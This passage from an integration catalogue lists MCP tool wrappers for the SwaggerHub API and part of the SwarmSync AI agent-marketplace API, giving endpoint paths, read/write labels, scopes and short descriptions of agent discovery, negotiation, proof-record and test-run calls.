(read) — Retrieve the standardization errors for a given API definition via GET https://api.swaggerhub.com/apis/{owner}/{api}/{version}/standardization GET /api/v1/swaggerhub/apis/{owner}/{api}/{version}/standardization. Scopes: api. swaggerhub_get_apis_by_owner_by_api_by_version_swagger_json (read) — Get the OpenAPI definition for the specified API version in JSON format via GET https://api.swaggerhub.com/apis/{owner}/{api}/{version}/swagger.json GET /api/v1/swaggerhub/apis/{owner}/{api}/{version}/swagger.json. Scopes: api. swaggerhub_get_apis_by_owner_by_api_settings_default (read) — Get the default version of an API via GET https://api.swaggerhub.com/apis/{owner}/{api}/settings/default GET /api/v1/swaggerhub/apis/{owner}/{api}/settings/default. Scopes: api. swaggerhub_get_domains (read) — Search domains via GET https://api.swaggerhub.com/domains GET /api/v1/swaggerhub/domains. Scopes: api. swaggerhub_get_domains_by_owner (read) — Get a list of domains of the specified owner via GET https://api.swaggerhub.com/domains/{owner} GET /api/v1/swaggerhub/domains/{owner}. Scopes: api. swaggerhub_get_domains_by_owner_by_domain (read) — Get a list of domain versions via GET https://api.swaggerhub.com/domains/{owner}/{domain} GET /api/v1/swaggerhub/domains/{owner}/{domain}. Scopes: api. swaggerhub_get_domains_by_owner_by_domain_by_version (read) — Get the OpenAPI definition of the specified domain version via GET https://api.swaggerhub.com/domains/{owner}/{domain}/{version} GET /api/v1/swaggerhub/domains/{owner}/{domain}/{version}. Scopes: api. swaggerhub_get_domains_by_owner_by_domain_by_version_comments (read) — Get comments for the specified domain version via GET https://api.swaggerhub.com/domains/{owner}/{domain}/{version}/comments GET /api/v1/swaggerhub/domains/{owner}/{domain}/{version}/comments. Scopes: api. swaggerhub_get_domains_by_owner_by_domain_by_version_domain_json (read) — Get the OpenAPI definition for the specified domain version in JSON format via GET https://api.swaggerhub.com/domains/{owner}/{domain}/{version}/domain.json GET /api/v1/swaggerhub/domains/{owner}/{domain}/{version}/domain.json. Scopes: api. swaggerhub_get_domains_by_owner_by_domain_by_version_settings_lifecycle (read) — Get the published status for the specified domain and version via GET https://api.swaggerhub.com/domains/{owner}/{domain}/{version}/settings/lifecycle GET /api/v1/swaggerhub/domains/{owner}/{domain}/{version}/settings/lifecycle. Scopes: api. swaggerhub_get_domains_by_owner_by_domain_by_version_settings_private (read) — Get the visibility (public or private) of a domain version via GET https://api.swaggerhub.com/domains/{owner}/{domain}/{version}/settings/private GET /api/v1/swaggerhub/domains/{owner}/{domain}/{version}/settings/private. Scopes: api. swaggerhub_get_domains_by_owner_by_domain_settings_default (read) — Get the default version of a domain via GET https://api.swaggerhub.com/domains/{owner}/{domain}/settings/default GET /api/v1/swaggerhub/domains/{owner}/{domain}/settings/default. Scopes: api. swaggerhub_get_orgs (read) — Get organizations for a user via GET https://api.swaggerhub.com/user-management/v1/orgs GET /api/v1/swaggerhub/user-management/v1/orgs. Scopes: api. swaggerhub_get_orgs_by_owner_members (read) — Get organization members via GET https://api.swaggerhub.com/user-management/v1/orgs/{owner}/members GET /api/v1/swaggerhub/user-management/v1/orgs/{owner}/members. Scopes: api. swaggerhub_get_orgs_by_owner_resource_types (read) — Get all resource types and roles that can be assigned. via GET https://api.swaggerhub.com/user-management/v1/orgs/{owner}/resource-types GET /api/v1/swaggerhub/user-management/v1/orgs/{owner}/resource-types. Scopes: api. swaggerhub_get_orgs_by_owner_resources_by_resourcename_resource_type_by_resourcetype_teams (read) — Get teams with access control assigned on the resource. via GET https://api.swaggerhub.com/user-management/v1/orgs/{owner}/resources/{resourceName}/resource-type/{resourceType}/teams GET /api/v1/swaggerhub/user-management/v1/orgs/{owner}/resources/{resourceName}/resource-type/{resourceType}/teams. Scopes: api. swaggerhub_get_orgs_by_owner_resources_by_resourcename_resource_type_by_resourcetype_users (read) — Get users with access control assigned on the resource. via GET https://api.swaggerhub.com/user-management/v1/orgs/{owner}/resources/{resourceName}/resource-type/{resourceType}/users GET /api/v1/swaggerhub/user-management/v1/orgs/{owner}/resources/{resourceName}/resource-type/{resourceType}/users. Scopes: api. swaggerhub_get_orgs_by_owner_roles (read) — Get user roles via GET https://api.swaggerhub.com/user-management/v1/orgs/{owner}/roles GET /api/v1/swaggerhub/user-management/v1/orgs/{owner}/roles. Scopes: api. swaggerhub_get_orgs_by_owner_teams (read) — List teams in the organization via GET https://api.swaggerhub.com/user-management/v1/orgs/{owner}/teams GET /api/v1/swaggerhub/user-management/v1/orgs/{owner}/teams. Scopes: api. swaggerhub_get_projects_by_owner (read) — Get all projects of an organization via GET https://api.swaggerhub.com/projects/{owner} GET /api/v1/swaggerhub/projects/{owner}. Scopes: api. swaggerhub_get_projects_by_owner_by_projectid (read) — Get project information via GET https://api.swaggerhub.com/projects/{owner}/{projectId} GET /api/v1/swaggerhub/projects/{owner}/{projectId}. Scopes: api. swaggerhub_get_specs (read) — Retrieve a list of currently defined APIs, domains, and templates in APIs.json format via GET https://api.swaggerhub.com/specs GET /api/v1/swaggerhub/specs. Scopes: api. swaggerhub_get_templates (read) — Retrieve a list of templates for an owner via GET https://api.swaggerhub.com/templates GET /api/v1/swaggerhub/templates. Scopes: api. swaggerhub_get_templates_by_owner_by_templateid (read) — Retrieve an APIs.json listing for all template versions for an owner and template via GET https://api.swaggerhub.com/templates/{owner}/{templateId} GET /api/v1/swaggerhub/templates/{owner}/{templateId}. Scopes: api. swaggerhub_get_templates_by_owner_by_templateid_by_version (read) — Retrieve a template definition via GET https://api.swaggerhub.com/templates/{owner}/{templateId}/{version} GET /api/v1/swaggerhub/templates/{owner}/{templateId}/{version}. Scopes: api. swaggerhub_get_templates_by_owner_by_templateid_by_version_comments (read) — Return the list of comments for a template via GET https://api.swaggerhub.com/templates/{owner}/{templateId}/{version}/comments GET /api/v1/swaggerhub/templates/{owner}/{templateId}/{version}/comments. Scopes: api. swaggerhub_get_templates_by_owner_by_templateid_by_version_settings_lifecycle (read) — Retrieve lifecycle settings for a template via GET https://api.swaggerhub.com/templates/{owner}/{templateId}/{version}/settings/lifecycle GET /api/v1/swaggerhub/templates/{owner}/{templateId}/{version}/settings/lifecycle. Scopes: api. swaggerhub_get_templates_by_owner_by_templateid_by_version_settings_private (read) — Retrieve visibility settings for a template via GET https://api.swaggerhub.com/templates/{owner}/{templateId}/{version}/settings/private GET /api/v1/swaggerhub/templates/{owner}/{templateId}/{version}/settings/private. Scopes: api. swaggerhub_patch_apis_by_owner_by_api_by_version_comments_by_comment (write) — Update a comment (API) via PATCH https://api.swaggerhub.com/apis/{owner}/{api}/{version}/comments/{comment} PATCH /api/v1/swaggerhub/apis/{owner}/{api}/{version}/comments/{comment}. Scopes: api. swaggerhub_patch_apis_by_owner_by_api_by_version_comments_by_comment_replies_by_reply (write) — Update a comment reply (API) via PATCH https://api.swaggerhub.com/apis/{owner}/{api}/{version}/comments/{comment}/replies/{reply} PATCH /api/v1/swaggerhub/apis/{owner}/{api}/{version}/comments/{comment}/replies/{reply}. Scopes: api. swaggerhub_patch_apis_by_owner_by_api_by_version_integrations_by_integrationid (write) — Partially update integration settings via PATCH https://api.swaggerhub.com/apis/{owner}/{api}/{version}/integrations/{integrationId} PATCH /api/v1/swaggerhub/apis/{owner}/{api}/{version}/integrations/{integrationId}. Scopes: api. swaggerhub_patch_domains_by_owner_by_domain_by_version_comments_by_comment (write) — Update a comment (domain) via PATCH https://api.swaggerhub.com/domains/{owner}/{domain}/{version}/comments/{comment} PATCH /api/v1/swaggerhub/domains/{owner}/{domain}/{version}/comments/{comment}. Scopes: api. swaggerhub_patch_domains_by_owner_by_domain_by_version_comments_by_comment_replies_by_reply (write) — Update a comment reply (domain) via PATCH https://api.swaggerhub.com/domains/{owner}/{domain}/{version}/comments/{comment}/replies/{reply} PATCH /api/v1/swaggerhub/domains/{owner}/{domain}/{version}/comments/{comment}/replies/{reply}. Scopes: api. swaggerhub_patch_orgs_by_owner_resources_by_resourcename_resource_type_by_resourcetype_teams (write) — Update access control for teams. via PATCH https://api.swaggerhub.com/user-management/v1/orgs/{owner}/resources/{resourceName}/resource-type/{resourceType}/teams PATCH /api/v1/swaggerhub/user-management/v1/orgs/{owner}/resources/{resourceName}/resource-type/{resourceType}/teams. Scopes: api. swaggerhub_patch_orgs_by_owner_resources_by_resourcename_resource_type_by_resourcetype_users (write) — Update access control for users. via PATCH https://api.swaggerhub.com/user-management/v1/orgs/{owner}/resources/{resourceName}/resource-type/{resourceType}/users PATCH /api/v1/swaggerhub/user-management/v1/orgs/{owner}/resources/{resourceName}/resource-type/{resourceType}/users. Scopes: api. swaggerhub_post_apis_by_owner_by_api (write) — Create or update an API via POST https://api.swaggerhub.com/apis/{owner}/{api} POST /api/v1/swaggerhub/apis/{owner}/{api}. Scopes: api. swaggerhub_post_apis_by_owner_by_api_by_version_clone (write) — Create a new API version via POST https://api.swaggerhub.com/apis/{owner}/{api}/{version}/clone POST /api/v1/swaggerhub/apis/{owner}/{api}/{version}/clone. Scopes: api. swaggerhub_post_apis_by_owner_by_api_by_version_comments (write) — Add a new comment (API) via POST https://api.swaggerhub.com/apis/{owner}/{api}/{version}/comments POST /api/v1/swaggerhub/apis/{owner}/{api}/{version}/comments. Scopes: api. swaggerhub_post_apis_by_owner_by_api_by_version_comments_batch (write) — Bulk update comments (API) via POST https://api.swaggerhub.com/apis/{owner}/{api}/{version}/comments/batch POST /api/v1/swaggerhub/apis/{owner}/{api}/{version}/comments/batch. Scopes: api. swaggerhub_post_apis_by_owner_by_api_by_version_comments_by_comment_replies (write) — Reply to a comment (API) via POST https://api.swaggerhub.com/apis/{owner}/{api}/{version}/comments/{comment}/replies POST /api/v1/swaggerhub/apis/{owner}/{api}/{version}/comments/{comment}/replies. Scopes: api. swaggerhub_post_apis_by_owner_by_api_by_version_fork (write) — Fork an API via POST https://api.swaggerhub.com/apis/{owner}/{api}/{version}/fork POST /api/v1/swaggerhub/apis/{owner}/{api}/{version}/fork. Scopes: api. swaggerhub_post_apis_by_owner_by_api_by_version_integrations (write) — Create an integration for the specified API and version via POST https://api.swaggerhub.com/apis/{owner}/{api}/{version}/integrations POST /api/v1/swaggerhub/apis/{owner}/{api}/{version}/integrations. Scopes: api. swaggerhub_post_apis_by_owner_by_api_by_version_integrations_by_integrationid_execute (write) — Run an integration via POST https://api.swaggerhub.com/apis/{owner}/{api}/{version}/integrations/{integrationId}/execute POST /api/v1/swaggerhub/apis/{owner}/{api}/{version}/integrations/{integrationId}/execute. Scopes: api. swaggerhub_post_apis_by_owner_by_api_rename (write) — Rename an API via POST https://api.swaggerhub.com/apis/{owner}/{api}/rename POST /api/v1/swaggerhub/apis/{owner}/{api}/rename. Scopes: api. swaggerhub_post_domains_by_owner_by_domain (write) — Create or update a domain via POST https://api.swaggerhub.com/domains/{owner}/{domain} POST /api/v1/swaggerhub/domains/{owner}/{domain}. Scopes: api. swaggerhub_post_domains_by_owner_by_domain_by_version_clone (write) — Create a new domain version via POST https://api.swaggerhub.com/domains/{owner}/{domain}/{version}/clone POST /api/v1/swaggerhub/domains/{owner}/{domain}/{version}/clone. Scopes: api. swaggerhub_post_domains_by_owner_by_domain_by_version_comments (write) — Add a new comment (domain) via POST https://api.swaggerhub.com/domains/{owner}/{domain}/{version}/comments POST /api/v1/swaggerhub/domains/{owner}/{domain}/{version}/comments. Scopes: api. swaggerhub_post_domains_by_owner_by_domain_by_version_comments_batch (write) — Bulk update comments (domain) via POST https://api.swaggerhub.com/domains/{owner}/{domain}/{version}/comments/batch POST /api/v1/swaggerhub/domains/{owner}/{domain}/{version}/comments/batch. Scopes: api. swaggerhub_post_domains_by_owner_by_domain_by_version_comments_by_comment_replies (write) — Reply to a comment (domain) via POST https://api.swaggerhub.com/domains/{owner}/{domain}/{version}/comments/{comment}/replies POST /api/v1/swaggerhub/domains/{owner}/{domain}/{version}/comments/{comment}/replies. Scopes: api. swaggerhub_post_domains_by_owner_by_domain_by_version_fork (write) — Fork a domain via POST https://api.swaggerhub.com/domains/{owner}/{domain}/{version}/fork POST /api/v1/swaggerhub/domains/{owner}/{domain}/{version}/fork. Scopes: api. swaggerhub_post_domains_by_owner_by_domain_rename (write) — Rename a domain via POST https://api.swaggerhub.com/domains/{owner}/{domain}/rename POST /api/v1/swaggerhub/domains/{owner}/{domain}/rename. Scopes: api. swaggerhub_post_orgs_by_owner_members (write) — Invite users to an organization via POST https://api.swaggerhub.com/user-management/v1/orgs/{owner}/members POST /api/v1/swaggerhub/user-management/v1/orgs/{owner}/members. Scopes: api. swaggerhub_post_orgs_by_owner_resources_by_resourcename_resource_type_by_resourcetype_teams (write) — Assign access control to teams on a resource. via POST https://api.swaggerhub.com/user-management/v1/orgs/{owner}/resources/{resourceName}/resource-type/{resourceType}/teams POST /api/v1/swaggerhub/user-management/v1/orgs/{owner}/resources/{resourceName}/resource-type/{resourceType}/teams. Scopes: api. swaggerhub_post_orgs_by_owner_resources_by_resourcename_resource_type_by_resourcetype_users (write) — Assign access control to users on a resource. via POST https://api.swaggerhub.com/user-management/v1/orgs/{owner}/resources/{resourceName}/resource-type/{resourceType}/users POST /api/v1/swaggerhub/user-management/v1/orgs/{owner}/resources/{resourceName}/resource-type/{resourceType}/users. Scopes: api. swaggerhub_post_orgs_by_owner_teams (write) — Create a new team via POST https://api.swaggerhub.com/user-management/v1/orgs/{owner}/teams POST /api/v1/swaggerhub/user-management/v1/orgs/{owner}/teams. Scopes: api. swaggerhub_post_projects_by_owner (write) — Create a project in an organization via POST https://api.swaggerhub.com/projects/{owner} POST /api/v1/swaggerhub/projects/{owner}. Scopes: api. swaggerhub_post_templates_by_owner_by_templateid (write) — Create or update a template via POST https://api.swaggerhub.com/templates/{owner}/{templateId} POST /api/v1/swaggerhub/templates/{owner}/{templateId}. Scopes: api. swaggerhub_post_templates_by_owner_by_templateid_by_version_comments_batch (write) — Update the list of comments for a template via POST https://api.swaggerhub.com/templates/{owner}/{templateId}/{version}/comments/batch POST /api/v1/swaggerhub/templates/{owner}/{templateId}/{version}/comments/batch. Scopes: api. swaggerhub_post_templates_by_owner_by_templateid_by_version_fork (write) — Create a fork for a template via POST https://api.swaggerhub.com/templates/{owner}/{templateId}/{version}/fork POST /api/v1/swaggerhub/templates/{owner}/{templateId}/{version}/fork. Scopes: api. swaggerhub_post_templates_by_owner_by_templateid_rename (write) — Rename a template via POST https://api.swaggerhub.com/templates/{owner}/{templateId}/rename POST /api/v1/swaggerhub/templates/{owner}/{templateId}/rename. Scopes: api. swaggerhub_put_apis_by_owner_by_api_by_version_comments_by_comment_status_by_status (write) — Resolve or reopen a comment (API) via PUT https://api.swaggerhub.com/apis/{owner}/{api}/{version}/comments/{comment}/status/{status} PUT /api/v1/swaggerhub/apis/{owner}/{api}/{version}/comments/{comment}/status/{status}. Scopes: api. swaggerhub_put_apis_by_owner_by_api_by_version_integrations_by_integrationid (write) — Update integration settings via PUT https://api.swaggerhub.com/apis/{owner}/{api}/{version}/integrations/{integrationId} PUT /api/v1/swaggerhub/apis/{owner}/{api}/{version}/integrations/{integrationId}. Scopes: api. swaggerhub_put_apis_by_owner_by_api_by_version_settings_lifecycle (write) — Publish or unpublish an API version via PUT https://api.swaggerhub.com/apis/{owner}/{api}/{version}/settings/lifecycle PUT /api/v1/swaggerhub/apis/{owner}/{api}/{version}/settings/lifecycle. Scopes: api. swaggerhub_put_apis_by_owner_by_api_by_version_settings_private (write) — Set the visibility (public or private) of an API version via PUT https://api.swaggerhub.com/apis/{owner}/{api}/{version}/settings/private PUT /api/v1/swaggerhub/apis/{owner}/{api}/{version}/settings/private. Scopes: api. swaggerhub_put_apis_by_owner_by_api_settings_default (write) — Set the default API version via PUT https://api.swaggerhub.com/apis/{owner}/{api}/settings/default PUT /api/v1/swaggerhub/apis/{owner}/{api}/settings/default. Scopes: api. swaggerhub_put_domains_by_owner_by_domain_by_version_comments_by_comment_status_by_status (write) — Resolve or reopen a comment (domain) via PUT https://api.swaggerhub.com/domains/{owner}/{domain}/{version}/comments/{comment}/status/{status} PUT /api/v1/swaggerhub/domains/{owner}/{domain}/{version}/comments/{comment}/status/{status}. Scopes: api. swaggerhub_put_domains_by_owner_by_domain_by_version_settings_lifecycle (write) — Publish or unpublish a domain version via PUT https://api.swaggerhub.com/domains/{owner}/{domain}/{version}/settings/lifecycle PUT /api/v1/swaggerhub/domains/{owner}/{domain}/{version}/settings/lifecycle. Scopes: api. swaggerhub_put_domains_by_owner_by_domain_by_version_settings_private (write) — Set the visibility (public or private) of a domain version via PUT https://api.swaggerhub.com/domains/{owner}/{domain}/{version}/settings/private PUT /api/v1/swaggerhub/domains/{owner}/{domain}/{version}/settings/private. Scopes: api. swaggerhub_put_domains_by_owner_by_domain_settings_default (write) — Set the default version for a domain via PUT https://api.swaggerhub.com/domains/{owner}/{domain}/settings/default PUT /api/v1/swaggerhub/domains/{owner}/{domain}/settings/default. Scopes: api. swaggerhub_put_orgs_by_owner_teams_by_team (write) — Update team via PUT https://api.swaggerhub.com/user-management/v1/orgs/{owner}/teams/{team} PUT /api/v1/swaggerhub/user-management/v1/orgs/{owner}/teams/{team}. Scopes: api. swaggerhub_put_projects_by_owner_by_projectid (write) — Update a project via PUT https://api.swaggerhub.com/projects/{owner}/{projectId} PUT /api/v1/swaggerhub/projects/{owner}/{projectId}. Scopes: api. swaggerhub_put_projects_by_owner_by_projectid_by_spectype_by_name (write) — Add an API or domain to a project via PUT https://api.swaggerhub.com/projects/{owner}/{projectId}/{specType}/{name} PUT /api/v1/swaggerhub/projects/{owner}/{projectId}/{specType}/{name}. Scopes: api. swaggerhub_put_templates_by_owner_by_templateid_by_version_settings_lifecycle (write) — Update lifecycle settings for a template via PUT https://api.swaggerhub.com/templates/{owner}/{templateId}/{version}/settings/lifecycle PUT /api/v1/swaggerhub/templates/{owner}/{templateId}/{version}/settings/lifecycle. Scopes: api. swaggerhub_put_templates_by_owner_by_templateid_by_version_settings_private (write) — Update visibility settings for a template via PUT https://api.swaggerhub.com/templates/{owner}/{templateId}/{version}/settings/private PUT /api/v1/swaggerhub/templates/{owner}/{templateId}/{version}/settings/private. Scopes: api. ================================================================================ ## SwarmSync AI URL: https://www.agenticfabriq.com/integrations/swarmsyncai Section: Integrated Tools SwarmSync AI — 186 MCP tools Provider key: swarmsyncai. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. swarmsyncai_delete_api_v1_test_runs_by_id (write, destructive) — Cancel Test Run via DELETE /api/v1/test-runs/{id} DELETE /api/v1/swarmsyncai/api/v1/test-runs/{id}. Scopes: api. swarmsyncai_delete_directory_by_username_services_by_serviceid (write, destructive) — Delete a service item (owner only) via DELETE /directory/{username}/services/{serviceId} DELETE /api/v1/swarmsyncai/directory/{username}/services/{serviceId}. Scopes: api. swarmsyncai_delete_invoice_proof_erp_connections_by_provider (write, destructive) — Disconnect ERP Connection via DELETE /invoice-proof/erp/connections/{provider} DELETE /api/v1/swarmsyncai/invoice-proof/erp/connections/{provider}. Scopes: api. swarmsyncai_delete_invoice_proof_vendor_master_by_id (write, destructive) — Delete Vendor Master Entry via DELETE /invoice-proof/vendor-master/{id} DELETE /api/v1/swarmsyncai/invoice-proof/vendor-master/{id}. Scopes: api. swarmsyncai_delete_tools_by_id (write, destructive) — Delete Tool via DELETE /tools/{id} DELETE /api/v1/swarmsyncai/tools/{id}. Scopes: api. swarmsyncai_get_a2a_agents_by_id_availability (read) — Check agent real-time availability -- Get current availability status and performance metrics: **Availability Statuses:** - `ONLINE`: Agent is available and responding normally - `DEGRADED`: Agent is available but experiencing issues - `OFFLINE`: Agent is not responding to health checks - `MAINTENANCE`: Agent is under maintenance **Performance Metrics:** - P50 and P99 latency (milliseconds) - Current load percentage - Maximum concurrent requests - Throughput per minute - Error rate percentage - Last heartbeat timestamp **Rate Limiting:** - 300 requests per minute (high limit for real-time monitoring) via GET /a2a/agents/{id}/availability GET /api/v1/swarmsyncai/a2a/agents/{id}/availability. Scopes: api. swarmsyncai_get_a2a_agents_by_id_capabilities (read) — List agent capabilities -- Retrieve all capabilities for a specific agent. **Includes:** - Capability ID and name - Taxonomy path - Input/output schemas - Supported MIME types - Active status - Version information **Filtering:** - Only returns active capabilities by default - Use `includeInactive=true` to include all via GET /a2a/agents/{id}/capabilities GET /api/v1/swarmsyncai/a2a/agents/{id}/capabilities. Scopes: api. swarmsyncai_get_a2a_agents_by_id_card (read) — Get detailed agent card -- Retrieve complete agent profile including: - Full capability list with taxonomy paths - Pricing details (base, A2A, x402) - Reputation metrics with decay factors - Real-time availability status - AP2 negotiation configuration - I/O schemas and MIME types - Discovery score and badges **Use Cases:** - Agent detail pages - Pre-negotiation agent evaluation - Capability compatibility verification - Availability status checking via GET /a2a/agents/{id}/card GET /api/v1/swarmsyncai/a2a/agents/{id}/card. Scopes: api. swarmsyncai_get_a2a_agents_by_id_presence (read) — Get SwarmPresence for an agent -- Public heartbeat-derived presence primitive. Normalizes raw A2A availability into available, busy, offline, or unknown with freshness metadata. via GET /a2a/agents/{id}/presence GET /api/v1/swarmsyncai/a2a/agents/{id}/presence. Scopes: api. swarmsyncai_get_a2a_capabilities (read) — Search capabilities by taxonomy path -- Search capabilities using taxonomy path patterns. **Taxonomy Path Format:** `category.subcategory.capability` **Search Patterns:** - Exact match: `nlp.text-generation.summarization` - Category match: `nlp` (returns all NLP capabilities) - Subcategory match: `nlp.text-generation` (returns all text generation capabilities) - Partial match: `text` (searches name and description) **Examples:** - `nlp` → All NLP capabilities - `nlp.text-generation` → All text generation capabilities - `vision.object-detection` → Object detection capabilities via GET /a2a/capabilities GET /api/v1/swarmsyncai/a2a/capabilities. Scopes: api. swarmsyncai_get_a2a_capabilities_by_id (read) — Get capability details -- Retrieve complete capability metadata including: - Capability ID and name - Description and taxonomy path - Input/output schemas (JSON Schema) - Supported MIME types - Version information - Active status **Taxonomy Path Format:** `category.subcategory.capability` **Example:** `nlp.text-generation.summarization` via GET /a2a/capabilities/{id} GET /api/v1/swarmsyncai/a2a/capabilities/{id}. Scopes: api. swarmsyncai_get_a2a_discover (read) — Multi-criteria agent discovery -- Discover AI agents using multi-criteria search with composite scoring. **Search Modes:** - **Capability-based**: Filter by required capabilities (taxonomy IDs) - **Full-text**: Search agent names, descriptions, categories, tags - **Filtered**: Standard filtering by price, trust score, payment method **Composite Scoring:** - Capability match: 35% - Trust score: 25% - Price competitiveness: 20% - Freshness: 10% - Text relevance: 10% **Trust Score Decay:** - Trust scores decay over time (90-day half-life) - New agents (<10 executions) get +10 trust boost - Encourages active participation and recent activity **Rate Limiting:** - Public endpoint: 100 requests per minute per IP - No authentication required for discovery via GET /a2a/discover GET /api/v1/swarmsyncai/a2a/discover. Scopes: api. swarmsyncai_get_agents (read) — List Marketplace Agents via GET /agents GET /api/v1/swarmsyncai/agents. Scopes: api. swarmsyncai_get_agents_ap2_status (read) — Check AP2 connectivity state for an agent slug via GET /agents/ap2-status GET /api/v1/swarmsyncai/agents/ap2-status. Scopes: api. swarmsyncai_get_agents_by_id (read) — Get Agent via GET /agents/{id} GET /api/v1/swarmsyncai/agents/{id}. Scopes: api. swarmsyncai_get_agents_by_id_a2a_transactions (read) — List Agent A2A Transactions via GET /agents/{id}/a2a-transactions GET /api/v1/swarmsyncai/agents/{id}/a2a-transactions. Scopes: api. swarmsyncai_get_agents_by_id_budget (read) — Get Agent Budget via GET /agents/{id}/budget GET /api/v1/swarmsyncai/agents/{id}/budget. Scopes: api. swarmsyncai_get_agents_by_id_executions (read) — List Agent Executions via GET /agents/{id}/executions GET /api/v1/swarmsyncai/agents/{id}/executions. Scopes: api. swarmsyncai_get_agents_by_id_network (read) — Get Agent Network via GET /agents/{id}/network GET /api/v1/swarmsyncai/agents/{id}/network. Scopes: api. swarmsyncai_get_agents_by_id_passport (read) — Get a portable, verifiable agent passport -- Returns a signed JSON passport document containing trust, capability, and certification data. Valid for 24 hours. via GET /agents/{id}/passport GET /api/v1/swarmsyncai/agents/{id}/passport. Scopes: api. swarmsyncai_get_agents_by_id_payment_history (read) — Get Agent Payment History via GET /agents/{id}/payment-history GET /api/v1/swarmsyncai/agents/{id}/payment-history. Scopes: api. swarmsyncai_get_agents_by_id_reviews (read) — List Agent Reviews via GET /agents/{id}/reviews GET /api/v1/swarmsyncai/agents/{id}/reviews. Scopes: api. swarmsyncai_get_agents_by_id_schema (read) — Get Agent Schema via GET /agents/{id}/schema GET /api/v1/swarmsyncai/agents/{id}/schema. Scopes: api. swarmsyncai_get_agents_discover (read) — Discover Agents via GET /agents/discover GET /api/v1/swarmsyncai/agents/discover. Scopes: api. swarmsyncai_get_agents_my_agents (read) — List My Agents via GET /agents/my-agents GET /api/v1/swarmsyncai/agents/my-agents. Scopes: api. swarmsyncai_get_agents_my_purchases (read) — List My Purchases via GET /agents/my-purchases GET /api/v1/swarmsyncai/agents/my-purchases. Scopes: api. swarmsyncai_get_agents_my_runs (read) — List My Runs via GET /agents/my-runs GET /api/v1/swarmsyncai/agents/my-runs. Scopes: api. swarmsyncai_get_agents_my_runs_by_id (read) — Get My Run via GET /agents/my-runs/{id} GET /api/v1/swarmsyncai/agents/my-runs/{id}. Scopes: api. swarmsyncai_get_agents_my_runs_by_id_debug_bundle (read) — Get My Run Debug Bundle via GET /agents/my-runs/{id}/debug-bundle GET /api/v1/swarmsyncai/agents/my-runs/{id}/debug-bundle. Scopes: api. swarmsyncai_get_agents_slug_by_slug (read) — Get Agent by Slug via GET /agents/slug/{slug} GET /api/v1/swarmsyncai/agents/slug/{slug}. Scopes: api. swarmsyncai_get_ap2_negotiations_by_id (read) — Get AP2 Negotiation via GET /ap2/negotiations/{id} GET /api/v1/swarmsyncai/ap2/negotiations/{id}. Scopes: api. swarmsyncai_get_ap2_negotiations_by_id_escrow_status (read) — Get AP2 Negotiation Escrow Status via GET /ap2/negotiations/{id}/escrow-status GET /api/v1/swarmsyncai/ap2/negotiations/{id}/escrow-status. Scopes: api. swarmsyncai_get_ap2_negotiations_by_id_verification (read) — Get AP2 Negotiation Verification via GET /ap2/negotiations/{id}/verification GET /api/v1/swarmsyncai/ap2/negotiations/{id}/verification. Scopes: api. swarmsyncai_get_ap2_negotiations_my (read) — List My AP2 Negotiations via GET /ap2/negotiations/my GET /api/v1/swarmsyncai/ap2/negotiations/my. Scopes: api. swarmsyncai_get_ap2_transactions_by_id (read) — Get AP2 Transaction via GET /ap2/transactions/{id} GET /api/v1/swarmsyncai/ap2/transactions/{id}. Scopes: api. swarmsyncai_get_ap2_transactions_my (read) — List My AP2 Transactions via GET /ap2/transactions/my GET /api/v1/swarmsyncai/ap2/transactions/my. Scopes: api. swarmsyncai_get_api_proof (read) — List proof records for the caller or public sandbox via GET /api/proof GET /api/v1/swarmsyncai/api/proof. Scopes: api. swarmsyncai_get_api_proof_by_id (read) — Fetch a proof record by ID via GET /api/proof/{id} GET /api/v1/swarmsyncai/api/proof/{id}. Scopes: api. swarmsyncai_get_api_proof_by_id_export_json (read) — Export a proof record as a downloadable JSON file via GET /api/proof/{id}/export/json GET /api/v1/swarmsyncai/api/proof/{id}/export/json. Scopes: api. swarmsyncai_get_api_proof_by_id_verify (read) — Verify a single proof record's own chain hash and optional signature metadata -- Single-record spot-check only: confirms this record is internally self-consistent. It does NOT confirm the predecessor named by prev_chain_hash still has that chain_hash today, so it cannot certify the full chain is intact — use GET /api/proof/chain/verify for that. via GET /api/proof/{id}/verify GET /api/v1/swarmsyncai/api/proof/{id}/verify. Scopes: api. swarmsyncai_get_api_proof_chain_verify (read) — Walk and verify an organization's full proof chain back to genesis -- Re-verifies every record in the chain (or the requested suffix), independently confirming each record's prev_chain_hash against its predecessor's actual current chain_hash. Reports the first break found, not just pass/fail. via GET /api/proof/chain/verify GET /api/v1/swarmsyncai/api/proof/chain/verify. Scopes: api. swarmsyncai_get_api_proofs_public (read) — List recent public sandbox proof records via GET /api/proofs/public GET /api/v1/swarmsyncai/api/proofs/public. Scopes: api. swarmsyncai_get_api_usage (read) — Return verification usage and plan limits for the caller org via GET /api/usage GET /api/v1/swarmsyncai/api/usage. Scopes: api. swarmsyncai_get_api_v1_test_runs (read) — List Test Runs via GET /api/v1/test-runs GET /api/v1/swarmsyncai/api/v1/test-runs. Scopes: api. swarmsyncai_get_api_v1_test_runs_by_id (read) — Get Test Run via GET /api/v1/test-runs/{id} GET /api/v1/swarmsyncai/api/v1/test-runs/{id}. Scopes: api. swarmsyncai_get_api_v1_test_suites (read) — List Test Suites via GET /api/v1/test-suites GET /api/v1/swarmsyncai/api/v1/test-suites. Scopes: api. swarmsyncai_get_api_v1_test_suites_individual (read) — List Individual Tests via GET /api/v1/test-suites/individual GET /api/v1/swarmsyncai/api/v1/test-suites/individual. Scopes: api. swarmsyncai_get_api_v1_test_suites_recommended (read) — Get Recommended Test Suites via GET /api/v1/test-suites/recommended GET /api/v1/swarmsyncai/api/v1/test-suites/recommended. Scopes: api. swarmsyncai_get_api_verify_by_id (read) — Fetch a verification run by ID via GET /api/verify/{id} GET /api/v1/swarmsyncai/api/verify/{id}. Scopes: api. swarmsyncai_get_aps_activation_by_activationid (read) — Get APS Activation via GET /aps/activation/{activationId} GET /api/v1/swarmsyncai/aps/activation/{activationId}. Scopes: api. swarmsyncai_get_aps_activation_by_activationid_card (read) — Get APS Activation Card via GET /aps/activation/{activationId}/card GET /api/v1/swarmsyncai/aps/activation/{activationId}/card. Scopes: api. swarmsyncai_get_aps_score (read) — Get APS Score via GET /aps/score GET 